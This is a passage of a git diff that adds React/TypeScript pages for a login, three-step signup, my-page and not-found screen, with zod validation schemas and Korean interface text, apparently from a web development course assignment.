+            errorMessage={errors.password?.message}
+          />
+          {errors.password && (
+            <div className="text-red-500 text-sm">
+              {errors.password.message}
+            </div>
+          )}
+          <Button
+            onClick={handleSubmit(onSubmit)}
+            disabled={!isValid}
+            variant="primary"
+          >
+            로그인
+          </Button>
+          {/* 구글 로그인 버튼 */}
+          <Button onClick={onGoogleLogin} variant="google">
+            <img
+              src="https://www.google.com/favicon.ico"
+              alt="google"
+              style={{ width: '18px', height: '18px' }}
+            />
+            구글로 로그인
+          </Button>
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default LoginPage;
diff --git a/mission/chapter05/mission_3/src/pages/MyPage.tsx b/mission/chapter05/mission_3/src/pages/MyPage.tsx
new file mode 100644
index 0000000..121422f
--- /dev/null
+++ b/mission/chapter05/mission_3/src/pages/MyPage.tsx
@@ -0,0 +1,39 @@
+import { useNavigate } from 'react-router-dom';
+import { useAuth } from '../context/AuthContext';
+
+const MyPage = () => {
+  const navigate = useNavigate();
+  const { user, logout } = useAuth();
+
+  return (
+    <div className="flex flex-col h-full">
+      {/* 헤더 */}
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => navigate('/')}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">마이페이지</h1>
+      </div>
+
+      {/* 본문 */}
+      <div className="flex flex-col items-center justify-center flex-1 gap-6">
+        <div className="text-6xl">👤</div>
+        <div className="flex flex-col items-center gap-2">
+          <h2 className="text-2xl font-bold">{user?.nickname}</h2>
+          <p className="text-gray-400 text-sm">{user?.email}</p>
+        </div>
+        <button
+          onClick={() => { logout(); navigate('/'); }}
+          className="px-6 py-2 text-sm border border-gray-300 rounded-md hover:bg-gray-100 transition-colors"
+        >
+          로그아웃
+        </button>
+      </div>
+    </div>
+  );
+};
+
+export default MyPage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/pages/NotFoundPage.tsx b/mission/chapter05/mission_3/src/pages/NotFoundPage.tsx
new file mode 100644
index 0000000..6f316cb
--- /dev/null
+++ b/mission/chapter05/mission_3/src/pages/NotFoundPage.tsx
@@ -0,0 +1,5 @@
+const NotFound = () => {
+  return <div className='text-2xl text-red-500 justify-center'>찾을 수 없는 페이지입니다</div>;
+};
+
+export default NotFound;
diff --git a/mission/chapter05/mission_3/src/pages/SignupPage.tsx b/mission/chapter05/mission_3/src/pages/SignupPage.tsx
new file mode 100644
index 0000000..d2f1114
--- /dev/null
+++ b/mission/chapter05/mission_3/src/pages/SignupPage.tsx
@@ -0,0 +1,173 @@
+import { useState } from 'react';
+import { useNavigate } from 'react-router-dom';
+import { useForm } from 'react-hook-form';
+import { zodResolver } from '@hookform/resolvers/zod';
+import { signupSchema, type SignupFormValues } from '../utils/validate';
+import axiosInstance from '../api/axios';
+
+const SignupPage = () => {
+  const navigate = useNavigate();
+  const [step, setStep] = useState(1);
+  const [showPassword, setShowPassword] = useState(false);
+  const [showPasswordCheck, setShowPasswordCheck] = useState(false);
+
+  const {
+    register,
+    handleSubmit,
+    watch,
+    formState: { errors },
+  } = useForm<SignupFormValues>({
+    resolver: zodResolver(signupSchema),
+    mode: 'onChange',
+  });
+
+  const onSubmit = async (data: SignupFormValues) => {
+    try {
+      // 서버에 회원가입 요청
+      await axiosInstance.post('/auth/signup', {
+        name: data.name,
+        email: data.email,
+        password: data.password,
+      });
+
+      // 회원가입 성공 → 로그인 페이지로 이동
+      alert('회원가입 성공! 로그인 해주세요 😊');
+      navigate('/login');
+    } catch (error) {
+      console.error('회원가입 실패:', error);
+      alert('회원가입에 실패했습니다.');
+    }
+  };
+
+  const email = watch('email');
+  const password = watch('password');
+  const passwordCheck = watch('passwordCheck');
+  const name = watch('name');
+
+  const isStep1Valid = !errors.email && email?.length > 0;
+  const isStep2Valid =
+    !errors.password &&
+    !errors.passwordCheck &&
+    password?.length > 0 &&
+    passwordCheck?.length > 0 &&
+    password === passwordCheck;
+  const isStep3Valid = !errors.name && name?.length > 0;
+
+  return (
+    <div className="flex flex-col h-full">
+      <div className="relative flex items-center justify-center py-4 border-b border-gray-200">
+        <button
+          onClick={() => (step === 1 ? navigate('/') : setStep(step - 1))}
+          className="absolute left-4 text-gray-600 hover:text-gray-900 transition-colors"
+        >
+          ＜
+        </button>
+        <h1 className="text-lg font-semibold">회원가입</h1>
+      </div>
+
+      <div className="flex flex-col items-center justify-center flex-1">
+        <div className="flex flex-col gap-3 w-[300px]">
+          {step === 1 && (
+            <>
+              <input
+                {...register('email')}
+                className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                  ${errors.email ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                type="email"
+                placeholder="이메일을 입력해주세요!"
+              />
+              {errors.email && (
+                <div className="text-red-500 text-sm">{errors.email.message}</div>
+              )}
+              <button
+                type="button"
+                onClick={() => setStep(2)}
+                disabled={!isStep1Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                다음
+              </button>
+            </>
+          )}
+
+          {step === 2 && (
+            <>
+              <div className="text-gray-500 text-sm">{email}</div>
+              <div className="relative">
+                <input
+                  {...register('password')}
+                  className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                    ${errors.password ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                  type={showPassword ? 'text' : 'password'}
+                  placeholder="비밀번호를 입력해주세요!"
+                />
+                <button
+                  type="button"
+                  onClick={() => setShowPassword(!showPassword)}
+                  className="absolute right-3 top-1/2 -translate-y-1/2 text-gray-400 text-sm"
+                >
+                  {showPassword ? '🙈' : '👁️'}
+                </button>
+              </div>
+              {errors.password && (
+                <div className="text-red-500 text-sm">{errors.password.message}</div>
+              )}
+              <div className="relative">
+                <input
+                  {...register('passwordCheck')}
+                  className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                    ${errors.passwordCheck ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                  type={showPasswordCheck ? 'text' : 'password'}
+                  placeholder="비밀번호를 다시 입력해주세요!"
+                />
+                <button
+                  type="button"
+                  onClick={() => setShowPasswordCheck(!showPasswordCheck)}
+                  className="absolute right-3 top-1/2 -translate-y-1/2 text-gray-400 text-sm"
+                >
+                  {showPasswordCheck ? '🙈' : '👁️'}
+                </button>
+              </div>
+              {passwordCheck?.length > 0 && password !== passwordCheck && (
+                <div className="text-red-500 text-sm">비밀번호가 일치하지 않습니다</div>
+              )}
+              <button
+                type="button"
+                onClick={() => setStep(3)}
+                disabled={!isStep2Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                다음
+              </button>
+            </>
+          )}
+
+          {step === 3 && (
+            <>
+              <input
+                {...register('name')}
+                className={`border w-full p-[10px] focus:border-[#807bff] rounded-sm outline-none
+                  ${errors.name ? 'border-red-500 bg-red-200' : 'border-gray-300'}`}
+                type="text"
+                placeholder="이름을 입력해주세요!"
+              />
+              {errors.name && (
+                <div className="text-red-500 text-sm">{errors.name.message}</div>
+              )}
+              <button
+                type="button"
+                onClick={handleSubmit(onSubmit)}
+                disabled={!isStep3Valid}
+                className="w-full bg-blue-300 text-white py-3 rounded-md text-lg font-medium hover:bg-blue-500 transition-colors cursor-pointer disabled:bg-gray-300"
+              >
+                회원가입 완료
+              </button>
+            </>
+          )}
+        </div>
+      </div>
+    </div>
+  );
+};
+
+export default SignupPage;
\ No newline at end of file
diff --git a/mission/chapter05/mission_3/src/utils/validate.ts b/mission/chapter05/mission_3/src/utils/validate.ts
new file mode 100644
index 0000000..6fddb70
--- /dev/null
+++ b/mission/chapter05/mission_3/src/utils/validate.ts
@@ -0,0 +1,27 @@
+import { z } from 'zod';
+
+export const signinSchema = z.object({
+  email: z.string().email('올바른 이메일 형식이 아닙니다'),
+  password: z
+    .string()
+    .min(8, '비밀번호는 8자 이상이어야 합니다.')
+    .max(20, '비밀번호는 20자 이하여야 합니다'),
+});
+
+export const signupSchema = z
+  .object({
+    name: z.string().min(1, '이름을 입력해주세요'),
+    email: z.string().email('올바른 이메일 형식이 아닙니다'),
+    password: z
+      .string()
+      .min(8, '비밀번호는 8자 이상이어야 합니다')
+      .max(20, '비밀번호는 20자 이하여야 합니다'),
+    passwordCheck: z.string(),
+  })
+  .refine((data) => data.password === data.passwordCheck, {
+    message: '비밀번호가 일치하지 않습니다',
+    path: ['passwordCheck'],
+  });
+
+export type SigninFormValues = z.infer<typeof signinSchema>;
+export type SignupFormValues = z.infer<typeof signupSchema>;